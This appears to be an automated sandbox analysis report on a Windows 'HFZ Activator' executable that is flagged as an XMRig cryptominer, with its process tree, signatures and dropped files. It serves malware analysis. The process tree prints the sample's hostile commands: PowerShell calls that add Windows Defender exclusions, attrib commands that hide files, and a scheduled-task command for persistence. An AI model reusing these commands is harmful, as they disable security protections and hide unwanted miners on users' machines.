Analysis
- max time kernel
299s - max time network
125s - platform
windows11-21h2_x64 - resource
win11-20260911-en - resource tags
- submitted
19/09/2026, 14:06
General
- Target HFZ-ACTIVATOR-A12-Premium v1.2 (win).exe
- Size 46.5MB
- Sample260919-req72a1gmc
- SHA256 75c8943c651d8a9043b5bc1d77343f27cce9f998060b07c46e97ea9947fe5702
Malware Config
Signatures
- Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 2 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
- UPX packed file 3 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 36 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 9 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\HFZ-ACTIVATOR-A12-Premium v1.2 (win).exe"C:\Users\Admin\AppData\Local\Temp\HFZ-ACTIVATOR-A12-Premium v1.2 (win).exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath '%~dp0'"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '%EXE_PATH%'; Add-MpPreference -ExclusionPath '%FOLDER_PATH%'; Add-MpPreference -ExclusionExtension '.exe'"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionProcess %EXE_PATH%3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files (x86)\HFZ Activator A12+ Premium V1.2\utils\MobileDevice\Data.exe"C:\Program Files (x86)\HFZ Activator A12+ Premium V1.2\utils\MobileDevice\Data.exe" /verysilent /norestart2⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath '$env:APPDATA\windowshost'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionProcess '%EXE_PATH%'; Add-MpPreference -ExclusionPath '%FOLDER_PATH%'; Add-MpPreference -ExclusionExtension '.exe'"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Add-MpPreference -ExclusionProcess %EXE_PATH%4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Program Files\windows update\cmd.exe"C:\Program Files\windows update\cmd.exe" /verysilent /norestart3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\CE96.tmp\CE97.tmp\CE98.bat "C:\Program Files\windows update\cmd.exe" /verysilent /norestart"4⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\tasklist.exetasklist /FI "IMAGENAME eq svchost32.exe"5⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\find.exefind /I "svchost32.exe"5⤵
-
-
C:\Windows\system32\attrib.exeattrib +h +s "C:\Users\Admin\AppData\Roaming\windowshost"5⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\windowshost\*"5⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exeattrib +h "C:\Users\Admin\AppData\Roaming\windowshost\runhidden.vbs"5⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\schtasks.exeschtasks /create /tn "WindowsHostService" /tr "wscript.exe \"C:\Users\Admin\AppData\Roaming\windowshost\runhidden.vbs\"" /sc onlogon /rl highest /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
C:\Windows\system32\wscript.exewscript.exe1⤵
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
HFZ Activator A12+ Premium.exe
Data.exe
SHA256SUMS
WinRing0x64.sys
cmd.exe
config.json
svchost32.exe
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
0001.tmp
0003.tmp
0004.tmp
0005.tmp
2.tmp
CE98.bat
__PSScriptPolicyTest_f1vtdufl.n5j.ps1
runhidden.vbs
running.lock
memory/1012-285-0x000000006FFF0000-0x000000007003C000-memory.dmp
memory/1012-292-0x0000000007130000-0x00000000071D4000-memory.dmp
memory/1012-293-0x00000000073F0000-0x0000000007401000-memory.dmp
memory/1012-294-0x0000000007460000-0x0000000007475000-memory.dmp
memory/1172-234-0x0000000000400000-0x0000000000433000-memory.dmp
memory/2208-242-0x0000000005A30000-0x0000000005D87000-memory.dmp
memory/2208-253-0x00000000063F0000-0x000000000643C000-memory.dmp
memory/2208-296-0x000000006FFF0000-0x000000007003C000-memory.dmp
memory/2224-60-0x000000006F690000-0x000000006F6DC000-memory.dmp
memory/2736-205-0x000000006F690000-0x000000006F6DC000-memory.dmp
memory/3220-68-0x000000006F690000-0x000000006F6DC000-memory.dmp
memory/3220-44-0x0000000002B70000-0x0000000002B80000-memory.dmp
memory/3220-45-0x0000000002B70000-0x0000000002B80000-memory.dmp
memory/3220-46-0x0000000005D30000-0x0000000006087000-memory.dmp
memory/3472-193-0x0000000000400000-0x000000000043B000-memory.dmp
memory/3472-0-0x000000000042B000-0x000000000042C000-memory.dmp
memory/3472-141-0x0000000000400000-0x000000000043B000-memory.dmp
memory/3692-284-0x0000000000400000-0x00000000006D9000-memory.dmp
memory/3692-235-0x0000000000400000-0x00000000006D9000-memory.dmp
memory/4200-38-0x0000000007B30000-0x0000000007B45000-memory.dmp
memory/4200-20-0x0000000007750000-0x0000000007784000-memory.dmp
memory/4200-35-0x0000000007B70000-0x0000000007C06000-memory.dmp
memory/4200-34-0x0000000007960000-0x000000000796A000-memory.dmp
memory/4200-37-0x0000000007B20000-0x0000000007B2E000-memory.dmp
memory/4200-33-0x00000000078E0000-0x00000000078FA000-memory.dmp
memory/4200-39-0x0000000007C30000-0x0000000007C4A000-memory.dmp
memory/4200-32-0x0000000007F20000-0x000000000859A000-memory.dmp
memory/4200-31-0x00000000077A0000-0x0000000007844000-memory.dmp
memory/4200-21-0x000000006F690000-0x000000006F6DC000-memory.dmp
memory/4200-28-0x00000000051D0000-0x00000000051E0000-memory.dmp
memory/4200-29-0x00000000051D0000-0x00000000051E0000-memory.dmp
memory/4200-30-0x0000000006B80000-0x0000000006B9E000-memory.dmp
memory/4200-36-0x0000000007AF0000-0x0000000007B01000-memory.dmp
memory/4200-19-0x000000007FA10000-0x000000007FA20000-memory.dmp
memory/4200-18-0x0000000006620000-0x000000000666C000-memory.dmp
memory/4200-17-0x0000000006590000-0x00000000065AE000-memory.dmp
memory/4200-16-0x00000000061A0000-0x00000000064F7000-memory.dmp
memory/4200-40-0x0000000007C20000-0x0000000007C28000-memory.dmp
memory/4200-9-0x0000000006060000-0x00000000060C6000-memory.dmp
memory/4200-8-0x0000000005EF0000-0x0000000005F56000-memory.dmp
memory/4200-7-0x00000000056F0000-0x0000000005712000-memory.dmp
memory/4200-6-0x0000000005810000-0x0000000005E3A000-memory.dmp
memory/4200-5-0x00000000050F0000-0x0000000005126000-memory.dmp
memory/4200-4-0x00000000051D0000-0x00000000051E0000-memory.dmp